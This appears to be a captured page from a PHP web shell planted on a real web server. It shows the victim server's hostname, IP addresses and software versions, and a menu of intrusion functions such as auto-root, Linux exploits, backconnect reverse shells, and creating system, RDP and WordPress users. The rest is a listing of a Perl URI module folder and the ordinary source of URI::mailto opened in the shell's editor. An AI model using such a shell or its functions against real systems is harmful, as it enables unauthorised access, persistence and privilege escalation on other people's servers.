Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.147.86.104
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
share /
perl5 /
URI /
[ HOME SHELL ]
Name
Size
Permission
Action
file
[ DIR ]
drwxr-xr-x
urn
[ DIR ]
drwxr-xr-x
Escape.pm
6.9
KB
-r--r--r--
Heuristic.pm
6.37
KB
-r--r--r--
IRI.pm
794
B
-r--r--r--
QueryParam.pm
4.75
KB
-r--r--r--
Split.pm
2.3
KB
-r--r--r--
URL.pm
5.36
KB
-r--r--r--
WithBase.pm
3.77
KB
-r--r--r--
_foreign.pm
107
B
-r--r--r--
_generic.pm
5.69
KB
-r--r--r--
_idna.pm
2.03
KB
-r--r--r--
_ldap.pm
3.17
KB
-r--r--r--
_login.pm
231
B
-r--r--r--
_punycode.pm
5.49
KB
-r--r--r--
_query.pm
2.47
KB
-r--r--r--
_segment.pm
416
B
-r--r--r--
_server.pm
3.64
KB
-r--r--r--
_userpass.pm
1.01
KB
-r--r--r--
data.pm
3.31
KB
-r--r--r--
file.pm
9.53
KB
-r--r--r--
ftp.pm
1.03
KB
-r--r--r--
gopher.pm
2.37
KB
-r--r--r--
http.pm
425
B
-r--r--r--
https.pm
144
B
-r--r--r--
ldap.pm
2.86
KB
-r--r--r--
ldapi.pm
440
B
-r--r--r--
ldaps.pm
144
B
-r--r--r--
mailto.pm
1.62
KB
-r--r--r--
mms.pm
125
B
-r--r--r--
news.pm
1.42
KB
-r--r--r--
nntp.pm
127
B
-r--r--r--
nntps.pm
144
B
-r--r--r--
pop.pm
1.18
KB
-r--r--r--
rlogin.pm
129
B
-r--r--r--
rsync.pm
207
B
-r--r--r--
rtsp.pm
125
B
-r--r--r--
rtspu.pm
126
B
-r--r--r--
sftp.pm
98
B
-r--r--r--
sip.pm
1.66
KB
-r--r--r--
sips.pm
143
B
-r--r--r--
snews.pm
172
B
-r--r--r--
ssh.pm
175
B
-r--r--r--
telnet.pm
128
B
-r--r--r--
tn3270.pm
128
B
-r--r--r--
urn.pm
2.12
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mailto.pm
package URI::mailto; # RFC 2368 use strict; use warnings; our $VERSION = '5.10'; use parent qw(URI URI::_query); sub to { my $self = shift; my @old = $self->headers; if (@_) { my @new = @old; # get rid of any other to: fields for (my $i = 0; $i < @new; $i += 2) { if (lc($new[$i] || '') eq "to") { splice(@new, $i, 2); redo; } } my $to = shift; $to = "" unless defined $to; unshift(@new, "to" => $to); $self->headers(@new); } return unless defined wantarray; my @to; while (@old) { my $h = shift @old; my $v = shift @old; push(@to, $v) if lc($h) eq "to"; } join(",", @to); } sub headers { my $self = shift; # The trick is to just treat everything as the query string... my $opaque = "to=" . $self->opaque; $opaque =~ s/\?/&/; if (@_) { my @new = @_; # strip out any "to" fields my @to; for (my $i=0; $i < @new; $i += 2) { if (lc($new[$i] || '') eq "to") { push(@to, (splice(@new, $i, 2))[1]); # remove header redo; } } my $new = join(",",@to); $new =~ s/%/%25/g; $new =~ s/\?/%3F/g; $self->opaque($new); $self->query_form(@new) if @new; } return unless defined wantarray; # I am lazy today... URI->new("mailto:?$opaque")->query_form; } # https://datatracker.ietf.org/doc/html/rfc6068#section-5 requires # plus signs (+) not to be turned into spaces sub query_form { my $self = shift; my @fields = $self->SUPER::query_form(@_); for ( my $i = 0 ; $i < @fields ; $i += 2 ) { if ( $fields[0] eq 'to' ) { $fields[1] =~ s/ /+/g; last; } } return @fields; } 1;
Close
